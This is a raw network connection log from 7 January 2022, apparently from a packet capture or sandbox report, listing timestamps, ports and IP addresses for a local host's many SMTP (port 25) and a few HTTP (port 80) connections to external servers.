Jan 7, 2022 15:55:19.947758913 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.947787046 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.947973013 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.948093891 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.948117971 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.948122025 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.948137045 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.948453903 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.951066017 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:19.951309919 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:19.951397896 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.045838118 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.072441101 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.072609901 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.100760937 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.101645947 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.128256083 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.131290913 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.131310940 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.131324053 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.131344080 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.131403923 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.131460905 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.131798983 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.132085085 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.132148027 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.132329941 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.132369995 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.132452011 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.132750988 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.132949114 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.132961035 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133068085 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.133141994 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133342028 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133389950 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.133430004 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.133491993 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133574009 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.133660078 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133826017 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.133908987 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.134107113 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.134300947 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.134386063 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.134634018 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.134828091 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.135204077 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.135349035 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.135636091 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.135819912 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136003971 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136178970 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136193037 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136346102 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136728048 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136895895 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.136910915 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137238026 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137254000 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137267113 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137504101 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137759924 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.137964964 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138144016 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138309956 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138376951 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138547897 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138741970 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138755083 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.138937950 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.159394979 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.161489010 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.193742990 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.201580048 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.201740026 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.201776981 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.202147961 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.229012966 CET	25	49896	108.177.127.27	192.168.2.3
Jan 7, 2022 15:55:20.229134083 CET	49896	25	192.168.2.3	108.177.127.27
Jan 7, 2022 15:55:20.254488945 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.254677057 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.308815002 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.308964014 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.313991070 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.317178965 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.317318916 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.317517042 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.317531109 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.318823099 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.318994045 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.324132919 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.324419022 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.324455023 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.328349113 CET	49899	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:20.361321926 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.364197969 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.364430904 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.416965961 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.417067051 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.417097092 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.417213917 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.475204945 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.485735893 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.489654064 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.489763975 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.490207911 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.511154890 CET	25	49884	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:20.511281967 CET	49884	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:20.521800041 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.523185015 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.542454004 CET	25	49897	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.542536020 CET	49897	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.542669058 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.542768002 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.597242117 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.598510981 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.626234055 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.626615047 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.628550053 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.651189089 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.653835058 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.656743050 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.709789038 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.709932089 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.731643915 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.732731104 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.732857943 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.732880116 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.732884884 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.733028889 CET	49898	25	192.168.2.3	104.47.51.33
Jan 7, 2022 15:55:20.767812967 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.773364067 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.775831938 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.775892973 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.776365042 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:20.828828096 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.828886032 CET	25	49900	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:20.829011917 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.829099894 CET	49900	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:20.835896015 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.835922003 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:20.835946083 CET	25	49898	104.47.51.33	192.168.2.3
Jan 7, 2022 15:55:21.126897097 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:21.127072096 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:21.429549932 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:21.429673910 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:21.634263992 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:21.634572983 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:21.984426975 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:22.142760038 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:22.142877102 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:22.492508888 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:22.649048090 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:22.649153948 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:22.775620937 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:22.825880051 CET	49859	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:22.941570044 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:22.944782019 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:22.998760939 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.164654970 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.164774895 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.164818048 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.165165901 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.176119089 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.176331043 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:23.341355085 CET	49899	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:23.342057943 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.342092037 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.342271090 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:23.508553982 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.508694887 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:23.508721113 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:23.508740902 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.508799076 CET	49903	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:23.512281895 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.512413979 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.514462948 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.519241095 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.670763969 CET	25	49901	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.670831919 CET	49901	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.674516916 CET	25	49903	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:23.820955992 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:23.821028948 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:23.988684893 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:24.015328884 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:24.016323090 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:24.153552055 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.153724909 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:24.361496925 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:24.476078987 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.476922989 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:24.522922039 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:24.523973942 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:24.641880035 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.641927004 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.644959927 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:24.810472965 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.810519934 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:24.812897921 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:24.871154070 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:25.017492056 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:25.017515898 CET	49905	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:55:25.028150082 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:25.028402090 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:25.182353020 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:25.182383060 CET	25	49905	67.195.228.86	192.168.2.3
Jan 7, 2022 15:55:25.375895023 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:25.540601015 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:25.540697098 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:25.540718079 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:25.885833979 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:25.891377926 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:26.042371035 CET	25	49904	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:26.042448044 CET	49904	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:29.482445955 CET	49899	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:32.491626978 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.533540010 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.533632040 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.577689886 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.577811956 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.620057106 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.620192051 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.663569927 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.663711071 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.706914902 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.707106113 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.707135916 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.707520962 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.749149084 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.749228954 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.749416113 CET	25	49906	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.749475002 CET	49906	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.755250931 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.755369902 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.805944920 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.806108952 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.854477882 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.854679108 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.902452946 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.902626038 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.951666117 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.951818943 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.951857090 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.999563932 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.999631882 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:32.999861956 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:32.999912977 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:33.000066996 CET	25	49907	193.239.68.121	192.168.2.3
Jan 7, 2022 15:55:33.000113964 CET	49907	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:55:34.576128006 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:34.768307924 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:34.768455029 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:34.954082966 CET	49910	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:34.988217115 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:34.988410950 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:34.993597984 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:35.180402040 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:35.183896065 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:35.184000015 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:35.186615944 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:35.186830997 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:35.382795095 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:35.382929087 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:35.412246943 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:35.412419081 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:35.604383945 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:35.609587908 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:35.609698057 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:35.618768930 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:35.808425903 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:35.808558941 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.005944014 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.006118059 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.201951027 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.202838898 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.209878922 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.210072041 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.210701942 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.394926071 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.400604010 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.400620937 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.400757074 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.402112961 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.402489901 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.403938055 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.404184103 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.404817104 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.590708971 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.590765953 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.590800047 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.590857029 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.592425108 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.592644930 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.592782974 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.596741915 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.596757889 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.596786022 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.596800089 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.596889019 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.596945047 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.781095028 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.781126022 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.781136990 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.781385899 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.782843113 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.782934904 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.782984018 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.783108950 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.783139944 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.783283949 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.783418894 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.783478975 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.783632040 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.789145947 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789177895 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789189100 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789199114 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789262056 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.789345980 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.789393902 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789410114 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789422035 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.789453983 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.789489985 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.971487045 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.971523046 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.971539974 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.971651077 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.971690893 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.971697092 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.971868992 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.971982002 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.972748995 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.972894907 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.972912073 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.972991943 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.973021984 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.973068953 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.973252058 CET	25	49911	148.163.149.218	192.168.2.3
